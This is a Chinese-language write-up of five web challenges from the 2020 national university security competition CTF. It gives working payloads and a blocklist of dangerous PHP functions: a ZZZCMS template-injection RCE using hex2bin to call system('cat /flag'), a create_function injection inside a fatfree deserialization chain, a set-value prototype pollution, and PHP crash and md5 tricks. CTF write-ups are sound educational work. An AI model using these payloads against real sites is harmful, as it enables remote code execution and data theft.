2020全国大学生信息安全竞赛Online Web题解 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

2020全国大学生信息安全竞赛Online Web题解

一叶飘零 技术 2020-09-02 10:01:20
856827
收藏

导语:周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”。

0x00 前言

周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”。

0x01 babyunserialize

题目存在源码泄露:

http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip

打开后发现是fatfree框架,进行代码审计,发现目标网站使用了php框架fatfree,且为最新版。同时关注到index.php路由:

$f3->route('GET /',
    function($f3) {
        echo "may be you need /?flag=";
    }
);
unserialize($_GET['flag']);

发现题目给了一个反序列化位置,且参数可控。

于是在网上搜索fatfree相关的rce chain,可以搜到此题曾在2020 WMCTF中出现过。

但搜索网上相关的pop chain,发现都没打通,于是选择自己思考。

虽然这里CLI\Agent::fetch()被删除,但其存在的send方法潜在安全隐患:

function send($op,$data='') {
$server=$this->server;
$mask=WS::Finale | $op & WS::OpCode;
$len=strlen($data);
$buf='';
if ($len>0xffff)
$buf=pack('CCNN',$mask,0x7f,$len);
elseif ($len>0x7d)
$buf=pack('CCn',$mask,0x7e,$len);
else
$buf=pack('CC',$mask,$len);
$buf.=$data;
if (is_bool($server->write($this->socket,$buf)))
return FALSE;
if (!in_array($op,[WS::Pong,WS::Close]) &&
isset($this->server->events['send']) &&
is_callable($func=$this->server->events['send']))
$func($this,$op,$data);
return $data;
}

此处注意到关键位置:

if (is_bool($server->write($this->socket,$buf)))
return FALSE;

我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?

这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:

){}phpinfo();//

构造exp,并发现可以成功执行phpinfo:

2020-08-20-15-45-48.png

得到flag:

2020-08-20-15-46-00.png

0x02 easyphp

题目给出了源码:

<?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }

此题有点不同寻常,和一般的web题有点差异,这里简单看了一下,我们需要在如下情况,才能调用phpinfo():

if(!pcntl_wifexited($status)){
        phpinfo();
    }

查阅手册:

2020-08-20-15-34-40.png

发现我们需要让子进程不正常退出,这里考虑到使用后面的call_user_func:

if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }

通过搜索php bug,可以得知:

https://bugs.php.net/bug.php?id=52173

这里我们可以利用pcntl_waitpid:

http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid

2020-08-20-15-39-33.png

即可在phpinfo中获取flag。

0x03 rceme

题目给出了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }
            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

简单搜了下,发现是ZZZCMS源码的一部分,参考链接如下:

https://cloud.tencent.com/developer/article/1576196

但是通过diff,发现这里的过滤比ZZZCMS多一些:

$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');

参考到这篇文章:

https://forum.90sec.com/t/topic/1239

其exp如下:

{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}

考虑该题过滤了base_convert函数,这里想一个新的bypass方案,尝试使用hex2bin:

{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}

搭配使用system函数,即可rce获取flag:

{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}

访问:

http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}

2020-08-20-15-28-47.png

0x04 littlegame

题目给了源码,简单看一下:

var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
    "sword": {"Gold": "20", "Firepower": "50"},
    // Times have changed
    "gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
    "Lv1": {"Firepower": "1", "Bounty": "1"},
    "Lv2": {"Firepower": "5", "Bounty": "10"},
    "Lv3": {"Firepower": "10", "Bounty": "15"},
    "Lv4": {"Firepower": "20", "Bounty": "30"},
    "Lv5": {"Firepower": "50", "Bounty": "65"},
    "Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
    // Times have not changed
    "Firepower": "201"
}
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
    // not implement
    res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});
module.exports = router;

首先看如何获取flag:

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});

发现只要:

if(Admin[key] === password){
    res.send(process.env.flag);
}

即可获取flag。这里不难发现:

const setFn = require('set-value');

存在原型链污染的问题,查看调用处:

router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

发现key和value都可控,那就好办了,这里直接进行污染:

2020-08-20-17-04-56.png

然后去获取flag:

2020-08-20-17-05-11.png

0x05 easytrick

题目给出了源码:

trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

题目考察了一个小trick,要求2个变量不相等,但md5相同,以往都需要使用诸如如下工具进行爆破:

https://github.com/upbit/clone-fastcoll

这里由于有长度限制,我们可以使用trick:

<?php
class trick{
    public $trick1=INF;
    public $trick2=1/0;
}
$exp = new trick();
echo serialize($exp);

即可进行bypass,访问:

http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

2020-08-20-19-49-58.png

即可获取flag。

0x06 后记

线上赛的web题还是比较简单的,可能是因为考虑参赛面广,入围资格也多吧。

如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务